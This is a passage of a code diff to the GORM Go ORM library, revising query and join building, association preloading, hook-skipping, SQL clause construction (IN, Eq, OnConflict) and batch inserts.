smallerStruct = db.Statement.ReflectValue.Type() != db.Statement.Schema.ModelType
|
||||
case reflect.Slice:
|
||||
smallerStruct = db.Statement.ReflectValue.Type().Elem() != db.Statement.Schema.ModelType
|
||||
queryFields := db.QueryFields
|
||||
if !queryFields {
|
||||
switch db.Statement.ReflectValue.Kind() {
|
||||
case reflect.Struct:
|
||||
queryFields = db.Statement.ReflectValue.Type() != db.Statement.Schema.ModelType
|
||||
case reflect.Slice:
|
||||
queryFields = db.Statement.ReflectValue.Type().Elem() != db.Statement.Schema.ModelType
|
||||
}
|
||||
}
|
||||
|
||||
if smallerStruct {
|
||||
if queryFields {
|
||||
stmt := gorm.Statement{DB: db}
|
||||
// smaller struct
|
||||
if err := stmt.Parse(db.Statement.Dest); err == nil && stmt.Schema.ModelType != db.Statement.Schema.ModelType {
|
||||
if err := stmt.Parse(db.Statement.Dest); err == nil && (db.QueryFields || stmt.Schema.ModelType != db.Statement.Schema.ModelType) {
|
||||
clauseSelect.Columns = make([]clause.Column, len(stmt.Schema.DBNames))
|
||||
|
||||
for idx, dbName := range stmt.Schema.DBNames {
|
||||
clauseSelect.Columns[idx] = clause.Column{Name: dbName}
|
||||
clauseSelect.Columns[idx] = clause.Column{Table: db.Statement.Table, Name: dbName}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -103,10 +104,15 @@ func BuildQuerySQL(db *gorm.DB) {
|
||||
}
|
||||
|
||||
joins := []clause.Join{}
|
||||
|
||||
if fromClause, ok := db.Statement.Clauses["FROM"].Expression.(clause.From); ok {
|
||||
joins = fromClause.Joins
|
||||
}
|
||||
|
||||
for _, join := range db.Statement.Joins {
|
||||
if db.Statement.Schema == nil {
|
||||
joins = append(joins, clause.Join{
|
||||
Expression: clause.Expr{SQL: join.Name, Vars: join.Conds},
|
||||
Expression: clause.NamedExpr{SQL: join.Name, Vars: join.Conds},
|
||||
})
|
||||
} else if relation, ok := db.Statement.Schema.Relationships.Relations[join.Name]; ok {
|
||||
tableAliasName := relation.Name
|
||||
@@ -148,11 +154,12 @@ func BuildQuerySQL(db *gorm.DB) {
|
||||
})
|
||||
} else {
|
||||
joins = append(joins, clause.Join{
|
||||
Expression: clause.Expr{SQL: join.Name, Vars: join.Conds},
|
||||
Expression: clause.NamedExpr{SQL: join.Name, Vars: join.Conds},
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
db.Statement.Joins = nil
|
||||
db.Statement.AddClause(clause.From{Joins: joins})
|
||||
} else {
|
||||
db.Statement.AddClauseIfNotExists(clause.From{})
|
||||
@@ -160,59 +167,56 @@ func BuildQuerySQL(db *gorm.DB) {
|
||||
|
||||
db.Statement.AddClauseIfNotExists(clauseSelect)
|
||||
|
||||
db.Statement.Build("SELECT", "FROM", "WHERE", "GROUP BY", "ORDER BY", "LIMIT", "FOR")
|
||||
db.Statement.Build(db.Statement.BuildClauses...)
|
||||
}
|
||||
}
|
||||
|
||||
func Preload(db *gorm.DB) {
|
||||
if db.Error == nil && len(db.Statement.Preloads) > 0 {
|
||||
preloadMap := map[string][]string{}
|
||||
preloadMap := map[string]map[string][]interface{}{}
|
||||
for name := range db.Statement.Preloads {
|
||||
if name == clause.Associations {
|
||||
preloadFields := strings.Split(name, ".")
|
||||
if preloadFields[0] == clause.Associations {
|
||||
for _, rel := range db.Statement.Schema.Relationships.Relations {
|
||||
if rel.Schema == db.Statement.Schema {
|
||||
preloadMap[rel.Name] = []string{rel.Name}
|
||||
if _, ok := preloadMap[rel.Name]; !ok {
|
||||
preloadMap[rel.Name] = map[string][]interface{}{}
|
||||
}
|
||||
|
||||
if value := strings.TrimPrefix(strings.TrimPrefix(name, preloadFields[0]), "."); value != "" {
|
||||
preloadMap[rel.Name][value] = db.Statement.Preloads[name]
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
preloadFields := strings.Split(name, ".")
|
||||
for idx := range preloadFields {
|
||||
preloadMap[strings.Join(preloadFields[:idx+1], ".")] = preloadFields[:idx+1]
|
||||
if _, ok := preloadMap[preloadFields[0]]; !ok {
|
||||
preloadMap[preloadFields[0]] = map[string][]interface{}{}
|
||||
}
|
||||
|
||||
if value := strings.TrimPrefix(strings.TrimPrefix(name, preloadFields[0]), "."); value != "" {
|
||||
preloadMap[preloadFields[0]][value] = db.Statement.Preloads[name]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
preloadNames := make([]string, len(preloadMap))
|
||||
idx := 0
|
||||
preloadNames := make([]string, 0, len(preloadMap))
|
||||
for key := range preloadMap {
|
||||
preloadNames[idx] = key
|
||||
idx++
|
||||
preloadNames = append(preloadNames, key)
|
||||
}
|
||||
sort.Strings(preloadNames)
|
||||
|
||||
for _, name := range preloadNames {
|
||||
var (
|
||||
curSchema = db.Statement.Schema
|
||||
preloadFields = preloadMap[name]
|
||||
rels = make([]*schema.Relationship, len(preloadFields))
|
||||
)
|
||||
|
||||
for idx, preloadField := range preloadFields {
|
||||
if rel := curSchema.Relationships.Relations[preloadField]; rel != nil {
|
||||
rels[idx] = rel
|
||||
curSchema = rel.FieldSchema
|
||||
} else {
|
||||
db.AddError(fmt.Errorf("%v: %w", name, gorm.ErrUnsupportedRelation))
|
||||
}
|
||||
if rel := db.Statement.Schema.Relationships.Relations[name]; rel != nil {
|
||||
preload(db, rel, db.Statement.Preloads[name], preloadMap[name])
|
||||
} else {
|
||||
db.AddError(fmt.Errorf("%s: %w for schema %s", name, gorm.ErrUnsupportedRelation, db.Statement.Schema.Name))
|
||||
}
|
||||
|
||||
preload(db, rels, db.Statement.Preloads[name])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func AfterQuery(db *gorm.DB) {
|
||||
if db.Error == nil && db.Statement.Schema != nil && db.Statement.Schema.AfterFind {
|
||||
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && db.Statement.Schema.AfterFind && db.RowsAffected > 0 {
|
||||
callMethod(db, func(value interface{}, tx *gorm.DB) bool {
|
||||
if i, ok := value.(AfterFindInterface); ok {
|
||||
db.AddError(i.AfterFind(tx))
|
||||
|
||||
+2
-1
@@ -9,7 +9,8 @@ func RowQuery(db *gorm.DB) {
|
||||
BuildQuerySQL(db)
|
||||
|
||||
if !db.DryRun {
|
||||
if isRows, ok := db.InstanceGet("rows"); ok && isRows.(bool) {
|
||||
if isRows, ok := db.Get("rows"); ok && isRows.(bool) {
|
||||
db.Statement.Settings.Delete("rows")
|
||||
db.Statement.Dest, db.Error = db.Statement.ConnPool.QueryContext(db.Statement.Context, db.Statement.SQL.String(), db.Statement.Vars...)
|
||||
} else {
|
||||
db.Statement.Dest = db.Statement.ConnPool.QueryRowContext(db.Statement.Context, db.Statement.SQL.String(), db.Statement.Vars...)
|
||||
|
||||
+3
-1
@@ -9,8 +9,10 @@ func BeginTransaction(db *gorm.DB) {
|
||||
if tx := db.Begin(); tx.Error == nil {
|
||||
db.Statement.ConnPool = tx.Statement.ConnPool
|
||||
db.InstanceSet("gorm:started_transaction", true)
|
||||
} else {
|
||||
} else if tx.Error == gorm.ErrInvalidTransaction {
|
||||
tx.Error = nil
|
||||
} else {
|
||||
db.Error = tx.Error
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+16
-18
@@ -29,7 +29,7 @@ func SetupUpdateReflectValue(db *gorm.DB) {
|
||||
}
|
||||
|
||||
func BeforeUpdate(db *gorm.DB) {
|
||||
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.UpdatingColumn && (db.Statement.Schema.BeforeSave || db.Statement.Schema.BeforeUpdate) {
|
||||
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && (db.Statement.Schema.BeforeSave || db.Statement.Schema.BeforeUpdate) {
|
||||
callMethod(db, func(value interface{}, tx *gorm.DB) (called bool) {
|
||||
if db.Statement.Schema.BeforeSave {
|
||||
if i, ok := value.(BeforeSaveInterface); ok {
|
||||
@@ -66,7 +66,7 @@ func Update(db *gorm.DB) {
|
||||
} else {
|
||||
return
|
||||
}
|
||||
db.Statement.Build("UPDATE", "SET", "WHERE")
|
||||
db.Statement.Build(db.Statement.BuildClauses...)
|
||||
}
|
||||
|
||||
if _, ok := db.Statement.Clauses["WHERE"]; !db.AllowGlobalUpdate && !ok {
|
||||
@@ -87,7 +87,7 @@ func Update(db *gorm.DB) {
|
||||
}
|
||||
|
||||
func AfterUpdate(db *gorm.DB) {
|
||||
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.UpdatingColumn && (db.Statement.Schema.AfterSave || db.Statement.Schema.AfterUpdate) {
|
||||
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && (db.Statement.Schema.AfterSave || db.Statement.Schema.AfterUpdate) {
|
||||
callMethod(db, func(value interface{}, tx *gorm.DB) (called bool) {
|
||||
if db.Statement.Schema.AfterSave {
|
||||
if i, ok := value.(AfterSaveInterface); ok {
|
||||
@@ -198,11 +198,11 @@ func ConvertToAssignments(stmt *gorm.Statement) (set clause.Set) {
|
||||
}
|
||||
}
|
||||
|
||||
if !stmt.UpdatingColumn && stmt.Schema != nil {
|
||||
if !stmt.SkipHooks && stmt.Schema != nil {
|
||||
for _, dbName := range stmt.Schema.DBNames {
|
||||
field := stmt.Schema.LookUpField(dbName)
|
||||
if field.AutoUpdateTime > 0 && value[field.Name] == nil && value[field.DBName] == nil {
|
||||
if v, ok := selectColumns[field.DBName]; (ok && v) || (!ok && !restricted) {
|
||||
if v, ok := selectColumns[field.DBName]; (ok && v) || !ok {
|
||||
now := stmt.DB.NowFunc()
|
||||
assignValue(field, now)
|
||||
|
||||
@@ -226,21 +226,19 @@ func ConvertToAssignments(stmt *gorm.Statement) (set clause.Set) {
|
||||
for _, dbName := range stmt.Schema.DBNames {
|
||||
field := stmt.Schema.LookUpField(dbName)
|
||||
if !field.PrimaryKey || (!updatingValue.CanAddr() || stmt.Dest != stmt.Model) {
|
||||
if v, ok := selectColumns[field.DBName]; (ok && v) || (!ok && !restricted) {
|
||||
if v, ok := selectColumns[field.DBName]; (ok && v) || (!ok && (!restricted || (!stmt.SkipHooks && field.AutoUpdateTime > 0))) {
|
||||
value, isZero := field.ValueOf(updatingValue)
|
||||
if !stmt.UpdatingColumn {
|
||||
if field.AutoUpdateTime > 0 {
|
||||
if field.AutoUpdateTime == schema.UnixNanosecond {
|
||||
value = stmt.DB.NowFunc().UnixNano()
|
||||
} else if field.AutoUpdateTime == schema.UnixMillisecond {
|
||||
value = stmt.DB.NowFunc().UnixNano() / 1e6
|
||||
} else if field.GORMDataType == schema.Time {
|
||||
value = stmt.DB.NowFunc()
|
||||
} else {
|
||||
value = stmt.DB.NowFunc().Unix()
|
||||
}
|
||||
isZero = false
|
||||
if !stmt.SkipHooks && field.AutoUpdateTime > 0 {
|
||||
if field.AutoUpdateTime == schema.UnixNanosecond {
|
||||
value = stmt.DB.NowFunc().UnixNano()
|
||||
} else if field.AutoUpdateTime == schema.UnixMillisecond {
|
||||
value = stmt.DB.NowFunc().UnixNano() / 1e6
|
||||
} else if field.GORMDataType == schema.Time {
|
||||
value = stmt.DB.NowFunc()
|
||||
} else {
|
||||
value = stmt.DB.NowFunc().Unix()
|
||||
}
|
||||
isZero = false
|
||||
}
|
||||
|
||||
if ok || !isZero {
|
||||
|
||||
+26
-24
@@ -50,15 +50,14 @@ func (db *DB) Table(name string, args ...interface{}) (tx *DB) {
|
||||
tx.Statement.TableExpr = &clause.Expr{SQL: name, Vars: args}
|
||||
if results := tableRegexp.FindStringSubmatch(name); len(results) == 2 {
|
||||
tx.Statement.Table = results[1]
|
||||
return
|
||||
}
|
||||
} else if tables := strings.Split(name, "."); len(tables) == 2 {
|
||||
tx.Statement.TableExpr = &clause.Expr{SQL: tx.Statement.Quote(name)}
|
||||
tx.Statement.Table = tables[1]
|
||||
return
|
||||
} else {
|
||||
tx.Statement.TableExpr = &clause.Expr{SQL: tx.Statement.Quote(name)}
|
||||
tx.Statement.Table = name
|
||||
}
|
||||
|
||||
tx.Statement.Table = name
|
||||
return
|
||||
}
|
||||
|
||||
@@ -93,10 +92,17 @@ func (db *DB) Select(query interface{}, args ...interface{}) (tx *DB) {
|
||||
}
|
||||
delete(tx.Statement.Clauses, "SELECT")
|
||||
case string:
|
||||
fields := strings.FieldsFunc(v, utils.IsValidDBNameChar)
|
||||
|
||||
// normal field names
|
||||
if len(fields) == 1 || (len(fields) == 3 && strings.ToUpper(fields[1]) == "AS") {
|
||||
if strings.Count(v, "?") >= len(args) && len(args) > 0 {
|
||||
tx.Statement.AddClause(clause.Select{
|
||||
Distinct: db.Statement.Distinct,
|
||||
Expression: clause.Expr{SQL: v, Vars: args},
|
||||
})
|
||||
} else if strings.Count(v, "@") > 0 && len(args) > 0 {
|
||||
tx.Statement.AddClause(clause.Select{
|
||||
Distinct: db.Statement.Distinct,
|
||||
Expression: clause.NamedExpr{SQL: v, Vars: args},
|
||||
})
|
||||
} else {
|
||||
tx.Statement.Selects = []string{v}
|
||||
|
||||
for _, arg := range args {
|
||||
@@ -115,11 +121,6 @@ func (db *DB) Select(query interface{}, args ...interface{}) (tx *DB) {
|
||||
}
|
||||
|
||||
delete(tx.Statement.Clauses, "SELECT")
|
||||
} else {
|
||||
tx.Statement.AddClause(clause.Select{
|
||||
Distinct: db.Statement.Distinct,
|
||||
Expression: clause.Expr{SQL: v, Vars: args},
|
||||
})
|
||||
}
|
||||
default:
|
||||
tx.AddError(fmt.Errorf("unsupported select args %v %v", query, args))
|
||||
@@ -207,12 +208,14 @@ func (db *DB) Order(value interface{}) (tx *DB) {
|
||||
tx.Statement.AddClause(clause.OrderBy{
|
||||
Columns: []clause.OrderByColumn{v},
|
||||
})
|
||||
default:
|
||||
tx.Statement.AddClause(clause.OrderBy{
|
||||
Columns: []clause.OrderByColumn{{
|
||||
Column: clause.Column{Name: fmt.Sprint(value), Raw: true},
|
||||
}},
|
||||
})
|
||||
case string:
|
||||
if v != "" {
|
||||
tx.Statement.AddClause(clause.OrderBy{
|
||||
Columns: []clause.OrderByColumn{{
|
||||
Column: clause.Column{Name: v, Raw: true},
|
||||
}},
|
||||
})
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -243,11 +246,10 @@ func (db *DB) Offset(offset int) (tx *DB) {
|
||||
// }
|
||||
//
|
||||
// db.Scopes(AmountGreaterThan1000, OrderStatus([]string{"paid", "shipped"})).Find(&orders)
|
||||
func (db *DB) Scopes(funcs ...func(*DB) *DB) *DB {
|
||||
for _, f := range funcs {
|
||||
db = f(db)
|
||||
}
|
||||
return db
|
||||
func (db *DB) Scopes(funcs ...func(*DB) *DB) (tx *DB) {
|
||||
tx = db.getInstance()
|
||||
tx.Statement.scopes = append(tx.Statement.scopes, funcs...)
|
||||
return tx
|
||||
}
|
||||
|
||||
// Preload preload associations with given conditions
|
||||
|
||||
+4
-4
@@ -7,7 +7,7 @@ type Interface interface {
|
||||
MergeClause(*Clause)
|
||||
}
|
||||
|
||||
// ClauseBuilder clause builder, allows to custmize how to build clause
|
||||
// ClauseBuilder clause builder, allows to customize how to build clause
|
||||
type ClauseBuilder func(Clause, Builder)
|
||||
|
||||
type Writer interface {
|
||||
@@ -62,9 +62,9 @@ func (c Clause) Build(builder Builder) {
|
||||
}
|
||||
|
||||
const (
|
||||
PrimaryKey string = "@@@py@@@" // primary key
|
||||
CurrentTable string = "@@@ct@@@" // current table
|
||||
Associations string = "@@@as@@@" // associations
|
||||
PrimaryKey string = "~~~py~~~" // primary key
|
||||
CurrentTable string = "~~~ct~~~" // current table
|
||||
Associations string = "~~~as~~~" // associations
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
+111
-27
@@ -78,9 +78,10 @@ type NamedExpr struct {
|
||||
// Build build raw expression
|
||||
func (expr NamedExpr) Build(builder Builder) {
|
||||
var (
|
||||
idx int
|
||||
inName bool
|
||||
namedMap = make(map[string]interface{}, len(expr.Vars))
|
||||
idx int
|
||||
inName bool
|
||||
afterParenthesis bool
|
||||
namedMap = make(map[string]interface{}, len(expr.Vars))
|
||||
)
|
||||
|
||||
for _, v := range expr.Vars {
|
||||
@@ -131,19 +132,53 @@ func (expr NamedExpr) Build(builder Builder) {
|
||||
inName = false
|
||||
}
|
||||
|
||||
afterParenthesis = false
|
||||
builder.WriteByte(v)
|
||||
} else if v == '?' && len(expr.Vars) > idx {
|
||||
builder.AddVar(builder, expr.Vars[idx])
|
||||
if afterParenthesis {
|
||||
if _, ok := expr.Vars[idx].(driver.Valuer); ok {
|
||||
builder.AddVar(builder, expr.Vars[idx])
|
||||
} else {
|
||||
switch rv := reflect.ValueOf(expr.Vars[idx]); rv.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
if rv.Len() == 0 {
|
||||
builder.AddVar(builder, nil)
|
||||
} else {
|
||||
for i := 0; i < rv.Len(); i++ {
|
||||
if i > 0 {
|
||||
builder.WriteByte(',')
|
||||
}
|
||||
builder.AddVar(builder, rv.Index(i).Interface())
|
||||
}
|
||||
}
|
||||
default:
|
||||
builder.AddVar(builder, expr.Vars[idx])
|
||||
}
|
||||
}
|
||||
} else {
|
||||
builder.AddVar(builder, expr.Vars[idx])
|
||||
}
|
||||
|
||||
idx++
|
||||
} else if inName {
|
||||
name = append(name, v)
|
||||
} else {
|
||||
if v == '(' {
|
||||
afterParenthesis = true
|
||||
} else {
|
||||
afterParenthesis = false
|
||||
}
|
||||
builder.WriteByte(v)
|
||||
}
|
||||
}
|
||||
|
||||
if inName {
|
||||
builder.AddVar(builder, namedMap[string(name)])
|
||||
if nv, ok := namedMap[string(name)]; ok {
|
||||
builder.AddVar(builder, nv)
|
||||
} else {
|
||||
builder.WriteByte('@')
|
||||
builder.WriteString(string(name))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -160,8 +195,13 @@ func (in IN) Build(builder Builder) {
|
||||
case 0:
|
||||
builder.WriteString(" IN (NULL)")
|
||||
case 1:
|
||||
builder.WriteString(" = ")
|
||||
builder.AddVar(builder, in.Values...)
|
||||
if _, ok := in.Values[0].([]interface{}); !ok {
|
||||
builder.WriteString(" = ")
|
||||
builder.AddVar(builder, in.Values[0])
|
||||
break
|
||||
}
|
||||
|
||||
fallthrough
|
||||
default:
|
||||
builder.WriteString(" IN (")
|
||||
builder.AddVar(builder, in.Values...)
|
||||
@@ -170,14 +210,19 @@ func (in IN) Build(builder Builder) {
|
||||
}
|
||||
|
||||
func (in IN) NegationBuild(builder Builder) {
|
||||
builder.WriteQuoted(in.Column)
|
||||
switch len(in.Values) {
|
||||
case 0:
|
||||
builder.WriteString(" IS NOT NULL")
|
||||
case 1:
|
||||
builder.WriteQuoted(in.Column)
|
||||
builder.WriteString(" <> ")
|
||||
builder.AddVar(builder, in.Values...)
|
||||
if _, ok := in.Values[0].([]interface{}); !ok {
|
||||
builder.WriteString(" <> ")
|
||||
builder.AddVar(builder, in.Values[0])
|
||||
break
|
||||
}
|
||||
|
||||
fallthrough
|
||||
default:
|
||||
builder.WriteQuoted(in.Column)
|
||||
builder.WriteString(" NOT IN (")
|
||||
builder.AddVar(builder, in.Values...)
|
||||
builder.WriteByte(')')
|
||||
@@ -193,16 +238,29 @@ type Eq struct {
|
||||
func (eq Eq) Build(builder Builder) {
|
||||
builder.WriteQuoted(eq.Column)
|
||||
|
||||
if eq.Value == nil {
|
||||
builder.WriteString(" IS NULL")
|
||||
} else {
|
||||
builder.WriteString(" = ")
|
||||
builder.AddVar(builder, eq.Value)
|
||||
switch eq.Value.(type) {
|
||||
case []string, []int, []int32, []int64, []uint, []uint32, []uint64, []interface{}:
|
||||
builder.WriteString(" IN (")
|
||||
rv := reflect.ValueOf(eq.Value)
|
||||
for i := 0; i < rv.Len(); i++ {
|
||||
if i > 0 {
|
||||
builder.WriteByte(',')
|
||||
}
|
||||
builder.AddVar(builder, rv.Index(i).Interface())
|
||||
}
|
||||
builder.WriteByte(')')
|
||||
default:
|
||||
if eqNil(eq.Value) {
|
||||
builder.WriteString(" IS NULL")
|
||||
} else {
|
||||
builder.WriteString(" = ")
|
||||
builder.AddVar(builder, eq.Value)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (eq Eq) NegationBuild(builder Builder) {
|
||||
Neq{eq.Column, eq.Value}.Build(builder)
|
||||
Neq(eq).Build(builder)
|
||||
}
|
||||
|
||||
// Neq not equal to for where
|
||||
@@ -211,16 +269,29 @@ type Neq Eq
|
||||
func (neq Neq) Build(builder Builder) {
|
||||
builder.WriteQuoted(neq.Column)
|
||||
|
||||
if neq.Value == nil {
|
||||
builder.WriteString(" IS NOT NULL")
|
||||
} else {
|
||||
builder.WriteString(" <> ")
|
||||
builder.AddVar(builder, neq.Value)
|
||||
switch neq.Value.(type) {
|
||||
case []string, []int, []int32, []int64, []uint, []uint32, []uint64, []interface{}:
|
||||
builder.WriteString(" NOT IN (")
|
||||
rv := reflect.ValueOf(neq.Value)
|
||||
for i := 0; i < rv.Len(); i++ {
|
||||
if i > 0 {
|
||||
builder.WriteByte(',')
|
||||
}
|
||||
builder.AddVar(builder, rv.Index(i).Interface())
|
||||
}
|
||||
builder.WriteByte(')')
|
||||
default:
|
||||
if eqNil(neq.Value) {
|
||||
builder.WriteString(" IS NOT NULL")
|
||||
} else {
|
||||
builder.WriteString(" <> ")
|
||||
builder.AddVar(builder, neq.Value)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (neq Neq) NegationBuild(builder Builder) {
|
||||
Eq{neq.Column, neq.Value}.Build(builder)
|
||||
Eq(neq).Build(builder)
|
||||
}
|
||||
|
||||
// Gt greater than for where
|
||||
@@ -233,7 +304,7 @@ func (gt Gt) Build(builder Builder) {
|
||||
}
|
||||
|
||||
func (gt Gt) NegationBuild(builder Builder) {
|
||||
Lte{gt.Column, gt.Value}.Build(builder)
|
||||
Lte(gt).Build(builder)
|
||||
}
|
||||
|
||||
// Gte greater than or equal to for where
|
||||
@@ -246,7 +317,7 @@ func (gte Gte) Build(builder Builder) {
|
||||
}
|
||||
|
||||
func (gte Gte) NegationBuild(builder Builder) {
|
||||
Lt{gte.Column, gte.Value}.Build(builder)
|
||||
Lt(gte).Build(builder)
|
||||
}
|
||||
|
||||
// Lt less than for where
|
||||
@@ -259,7 +330,7 @@ func (lt Lt) Build(builder Builder) {
|
||||
}
|
||||
|
||||
func (lt Lt) NegationBuild(builder Builder) {
|
||||
Gte{lt.Column, lt.Value}.Build(builder)
|
||||
Gte(lt).Build(builder)
|
||||
}
|
||||
|
||||
// Lte less than or equal to for where
|
||||
@@ -272,7 +343,7 @@ func (lte Lte) Build(builder Builder) {
|
||||
}
|
||||
|
||||
func (lte Lte) NegationBuild(builder Builder) {
|
||||
Gt{lte.Column, lte.Value}.Build(builder)
|
||||
Gt(lte).Build(builder)
|
||||
}
|
||||
|
||||
// Like whether string matches regular expression
|
||||
@@ -289,3 +360,16 @@ func (like Like) NegationBuild(builder Builder) {
|
||||
builder.WriteString(" NOT LIKE ")
|
||||
builder.AddVar(builder, like.Value)
|
||||
}
|
||||
|
||||
func eqNil(value interface{}) bool {
|
||||
if valuer, ok := value.(driver.Valuer); ok {
|
||||
value, _ = valuer.Value()
|
||||
}
|
||||
|
||||
return value == nil || eqNilReflect(value)
|
||||
}
|
||||
|
||||
func eqNilReflect(value interface{}) bool {
|
||||
reflectValue := reflect.ValueOf(value)
|
||||
return reflectValue.Kind() == reflect.Ptr && reflectValue.IsNil()
|
||||
}
|
||||
+6
@@ -39,4 +39,10 @@ func (groupBy GroupBy) MergeClause(clause *Clause) {
|
||||
groupBy.Having = append(copiedHaving, groupBy.Having...)
|
||||
}
|
||||
clause.Expression = groupBy
|
||||
|
||||
if len(groupBy.Columns) == 0 {
|
||||
clause.Name = ""
|
||||
} else {
|
||||
clause.Name = groupBy.Name()
|
||||
}
|
||||
}
|
||||
+22
-7
@@ -1,10 +1,13 @@
|
||||
package clause
|
||||
|
||||
type OnConflict struct {
|
||||
Columns []Column
|
||||
Where Where
|
||||
DoNothing bool
|
||||
DoUpdates Set
|
||||
Columns []Column
|
||||
Where Where
|
||||
TargetWhere Where
|
||||
OnConstraint string
|
||||
DoNothing bool
|
||||
DoUpdates Set
|
||||
UpdateAll bool
|
||||
}
|
||||
|
||||
func (OnConflict) Name() string {
|
||||
@@ -23,10 +26,16 @@ func (onConflict OnConflict) Build(builder Builder) {
|
||||
}
|
||||
builder.WriteString(`) `)
|
||||
}
|
||||
|
||||
if len(onConflict.TargetWhere.Exprs) > 0 {
|
||||
builder.WriteString(" WHERE ")
|
||||
onConflict.TargetWhere.Build(builder)
|
||||
builder.WriteByte(' ')
|
||||
}
|
||||
|
||||
if len(onConflict.Where.Exprs) > 0 {
|
||||
builder.WriteString("WHERE ")
|
||||
onConflict.Where.Build(builder)
|
||||
if onConflict.OnConstraint != "" {
|
||||
builder.WriteString("ON CONSTRAINT ")
|
||||
builder.WriteString(onConflict.OnConstraint)
|
||||
builder.WriteByte(' ')
|
||||
}
|
||||
|
||||
@@ -36,6 +45,12 @@ func (onConflict OnConflict) Build(builder Builder) {
|
||||
builder.WriteString("DO UPDATE SET ")
|
||||
onConflict.DoUpdates.Build(builder)
|
||||
}
|
||||
|
||||
if len(onConflict.Where.Exprs) > 0 {
|
||||
builder.WriteString(" WHERE ")
|
||||
onConflict.Where.Build(builder)
|
||||
builder.WriteByte(' ')
|
||||
}
|
||||
}
|
||||
|
||||
// MergeClause merge onConflict clauses
|
||||
|
||||
+14
@@ -43,3 +43,17 @@ func (s Select) MergeClause(clause *Clause) {
|
||||
clause.Expression = s
|
||||
}
|
||||
}
|
||||
|
||||
// CommaExpression represents a group of expressions separated by commas.
|
||||
type CommaExpression struct {
|
||||
Exprs []Expression
|
||||
}
|
||||
|
||||
func (comma CommaExpression) Build(builder Builder) {
|
||||
for idx, expr := range comma.Exprs {
|
||||
if idx > 0 {
|
||||
_, _ = builder.WriteString(", ")
|
||||
}
|
||||
expr.Build(builder)
|
||||
}
|
||||
}
|
||||
+10
-2
@@ -2,13 +2,15 @@ package gorm
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"gorm.io/gorm/logger"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrRecordNotFound record not found error
|
||||
ErrRecordNotFound = errors.New("record not found")
|
||||
ErrRecordNotFound = logger.ErrRecordNotFound
|
||||
// ErrInvalidTransaction invalid transaction when you are trying to `Commit` or `Rollback`
|
||||
ErrInvalidTransaction = errors.New("no valid transaction")
|
||||
ErrInvalidTransaction = errors.New("invalid transaction")
|
||||
// ErrNotImplemented not implemented
|
||||
ErrNotImplemented = errors.New("not implemented")
|
||||
// ErrMissingWhereClause missing where clause
|
||||
@@ -31,4 +33,10 @@ var (
|
||||
ErrEmptySlice = errors.New("empty slice found")
|
||||
// ErrDryRunModeUnsupported dry run mode unsupported
|
||||
ErrDryRunModeUnsupported = errors.New("dry run mode unsupported")
|
||||
// ErrInvalidDB invalid db
|
||||
ErrInvalidDB = errors.New("invalid db")
|
||||
// ErrInvalidValue invalid value
|
||||
ErrInvalidValue = errors.New("invalid value, should be pointer to struct or slice")
|
||||
// ErrInvalidValueOfLength invalid values do not match length
|
||||
ErrInvalidValueOfLength = errors.New("invalid association values, length doesn't match")
|
||||
)
|
||||
+177
-87
@@ -15,9 +15,56 @@ import (
|
||||
|
||||
// Create insert the value into database
|
||||
func (db *DB) Create(value interface{}) (tx *DB) {
|
||||
if db.CreateBatchSize > 0 {
|
||||
return db.CreateInBatches(value, db.CreateBatchSize)
|
||||
}
|
||||
|
||||
tx = db.getInstance()
|
||||
tx.Statement.Dest = value
|
||||
tx.callbacks.Create().Execute(tx)
|
||||
return tx.callbacks.Create().Execute(tx)
|
||||
}
|
||||
|
||||
// CreateInBatches insert the value in batches into database
|
||||
func (db *DB) CreateInBatches(value interface{}, batchSize int) (tx *DB) {
|
||||
reflectValue := reflect.Indirect(reflect.ValueOf(value))
|
||||
|
||||
switch reflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
var rowsAffected int64
|
||||
tx = db.getInstance()
|
||||
|
||||
callFc := func(tx *DB) error {
|
||||
// the reflection length judgment of the optimized value
|
||||
reflectLen := reflectValue.Len()
|
||||
for i := 0; i < reflectLen; i += batchSize {
|
||||
ends := i + batchSize
|
||||
if ends > reflectLen {
|
||||
ends = reflectLen
|
||||
}
|
||||
|
||||
subtx := tx.getInstance()
|
||||
subtx.Statement.Dest = reflectValue.Slice(i, ends).Interface()
|
||||
subtx.callbacks.Create().Execute(subtx)
|
||||
if subtx.Error != nil {
|
||||
return subtx.Error
|
||||
}
|
||||
rowsAffected += subtx.RowsAffected
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
if tx.SkipDefaultTransaction {
|
||||
tx.AddError(callFc(tx.Session(&Session{})))
|
||||
} else {
|
||||
tx.AddError(tx.Transaction(callFc))
|
||||
}
|
||||
|
||||
tx.RowsAffected = rowsAffected
|
||||
default:
|
||||
tx = db.getInstance()
|
||||
tx.Statement.Dest = value
|
||||
tx = tx.callbacks.Create().Execute(tx)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
@@ -29,14 +76,15 @@ func (db *DB) Save(value interface{}) (tx *DB) {
|
||||
reflectValue := reflect.Indirect(reflect.ValueOf(value))
|
||||
switch reflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
tx.Statement.UpdatingColumn = true
|
||||
tx.callbacks.Create().Execute(tx)
|
||||
if _, ok := tx.Statement.Clauses["ON CONFLICT"]; !ok {
|
||||
tx = tx.Clauses(clause.OnConflict{UpdateAll: true})
|
||||
}
|
||||
tx = tx.callbacks.Create().Execute(tx.Set("gorm:update_track_time", true))
|
||||
case reflect.Struct:
|
||||
